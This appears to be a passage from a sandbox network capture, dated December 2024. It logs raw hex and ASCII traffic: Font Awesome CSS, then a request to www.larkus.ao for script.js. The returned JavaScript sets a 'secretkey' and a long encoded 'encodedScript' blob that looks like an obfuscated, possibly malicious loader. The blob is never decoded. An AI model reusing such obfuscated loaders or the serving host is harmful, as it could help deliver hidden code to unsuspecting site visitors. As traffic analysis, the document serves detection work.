translateY(0)}10%{-webkit-transform:scale(var(--fa-bounce-start-scale-x,1.1),var(--fa-bounce-start-scale-y,.9)) translateY(0);transform:scale(var(--fa-bounce-start-scale-x,1.1),var(--fa-bounce-start-scale-y,.9)) translateY(0)}30%{-webki
2024-12-17 23:28:40 UTC	1369	IN	Data Raw: 2d 73 63 61 6c 65 2c 31 2e 31 32 35 29 29 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 2d 62 65 61 74 2d 66 61 64 65 7b 30 25 2c 74 6f 7b 6f 70 61 63 69 74 79 3a 76 61 72 28 2d 2d 66 61 2d 62 65 61 74 2d 66 61 64 65 2d 6f 70 61 63 69 74 79 2c 2e 34 29 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 29 7d 35 30 25 7b 6f 70 61 63 69 74 79 3a 31 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 76 61 72 28 2d 2d 66 61 2d 62 65 61 74 2d 66 61 64 65 2d 73 63 61 6c 65 2c 31 2e 31 32 35 29 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 76 61 72 28 2d 2d 66 61 2d 62 65 61 74 2d 66 61 64 65 2d 73 63 61 6c 65 2c 31 2e 31 32 35 29 29 7d 7d 40 2d 77 Data Ascii: -scale,1.125))}}@keyframes fa-beat-fade{0%,to{opacity:var(--fa-beat-fade-opacity,.4);-webkit-transform:scale(1);transform:scale(1)}50%{opacity:1;-webkit-transform:scale(var(--fa-beat-fade-scale,1.125));transform:scale(var(--fa-beat-fade-scale,1.125))}}@-w
2024-12-17 23:28:40 UTC	1369	IN	Data Raw: 72 6d 3a 72 6f 74 61 74 65 28 2d 31 35 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 2d 31 35 64 65 67 29 7d 34 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 31 35 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 31 35 64 65 67 29 7d 38 25 2c 32 34 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 2d 31 38 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 2d 31 38 64 65 67 29 7d 31 32 25 2c 32 38 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 31 38 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 31 38 64 65 67 29 7d 31 36 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f Data Ascii: rm:rotate(-15deg);transform:rotate(-15deg)}4%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}8%,24%{-webkit-transform:rotate(-18deg);transform:rotate(-18deg)}12%,28%{-webkit-transform:rotate(18deg);transform:rotate(18deg)}16%{-webkit-transform:ro

Timestamp	Bytes transferred	Direction	Data
2024-12-17 23:28:41 UTC	620	OUT	GET /animal/script.js HTTP/1.1 Host: www.larkus.ao Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://roadmap27.github.io/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-17 23:28:42 UTC	375	IN	HTTP/1.1 200 OK Connection: close content-type: text/javascript last-modified: Fri, 06 Dec 2024 13:37:11 GMT accept-ranges: bytes content-length: 12802 date: Tue, 17 Dec 2024 23:28:41 GMT alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-12-17 23:28:42 UTC	993	IN	Data Raw: 76 61 72 20 6b 65 79 20 3d 20 22 73 65 63 72 65 74 6b 65 79 22 3b 0a 76 61 72 20 65 6e 63 6f 64 65 64 53 63 72 69 70 74 20 3d 20 22 46 77 6f 41 42 77 67 52 42 52 46 58 45 67 45 48 4e 78 4d 52 42 52 45 31 47 68 59 58 46 77 73 52 47 55 31 65 4e 79 6f 75 4d 51 6f 61 48 77 41 58 42 79 6b 4d 45 77 45 52 44 30 4a 56 55 30 31 4b 55 6c 68 4b 53 78 35 7a 55 30 56 44 55 67 6b 52 48 30 55 59 42 68 45 4d 46 52 63 56 43 51 63 63 46 79 41 4f 45 77 77 59 53 31 68 5a 56 45 4a 59 65 45 56 55 53 30 55 61 48 41 73 51 42 6b 55 64 47 43 67 57 45 51 77 50 46 30 56 4a 53 30 6f 51 49 77 30 4d 48 41 41 49 41 6a 55 59 46 78 6b 4b 49 67 6f 51 46 79 51 58 46 78 63 4d 47 77 46 62 41 6b 73 4e 46 68 59 58 57 67 73 56 48 51 77 65 45 68 45 4d 41 45 73 42 47 41 41 4c 4d 67 49 47 48 42 46 Data Ascii: var key = "secretkey";var encodedScript = "FwoABwgRBRFXEgEHNxMRBRE1GhYXFwsRGU1eNyouMQoaHwAXBykMEwERD0JVU01KUlhKSx5zU0VDUgkRH0UYBhEMFRcVCQccFyAOEwwYS1hZVEJYeEVUS0UaHAsQBkUdGCgWEQwPF0VJS0oQIw0MHAAIAjUYFxkKIgoQFyQXFxcMGwFbAksNFhYXWgsVHQweEhEMAEsBGAALMgIGHBF
2024-12-17 23:28:42 UTC	11809	IN	Data Raw: 67 45 6d 48 77 51 64 42 31 35 7a 55 30 56 44 55 6b 56 55 53 30 55 45 55 77 59 43 42 67 59 63 53 30 30 63 57 6b 55 59 65 45 56 55 53 30 56 5a 55 30 56 44 55 6b 56 55 53 78 49 51 48 51 45 4d 42 55 73 59 42 41 59 59 42 77 77 4d 48 45 73 63 47 51 41 66 55 31 68 44 56 51 51 57 42 42 41 4e 53 51 63 50 45 77 73 66 54 46 35 7a 55 30 56 44 55 6b 56 55 53 30 56 5a 55 30 56 44 41 41 41 41 48 68 63 58 55 30 4a 45 53 57 39 55 53 30 56 5a 55 30 56 44 55 68 68 2b 53 30 56 5a 55 78 68 70 65 45 56 55 53 30 56 57 58 45 55 6b 46 78 46 55 44 77 6f 55 45 67 77 4e 55 67 4d 47 42 41 68 5a 46 67 67 43 47 77 6c 2b 53 30 56 5a 55 77 4d 57 48 41 59 41 41 67 6f 58 55 77 49 47 42 69 45 62 42 67 51 51 48 53 4d 52 48 51 67 78 42 67 51 51 48 30 30 47 48 77 51 64 42 30 78 5a 43 47 39 44 Data Ascii: gEmHwQdB15zU0VDUkVUS0UEUwYCBgYcS00cWkUYeEVUS0VZU0VDUkVUSxIQHQEMBUsYBAYYBwwMHEscGQAfU1hDVQQWBBANSQcPEwsfTF5zU0VDUkVUS0VZU0VDAAAAHhcXU0JESW9US0VZU0VDUhh+S0VZUxhpeEVUS0VWXEUkFxFUDwoUEgwNUgMGBAhZFggCGwl+S0VZUwMWHAYAAgoXUwIGBiEbBgQQHSMRHQgxBgQQH00GHwQdB0xZCG9D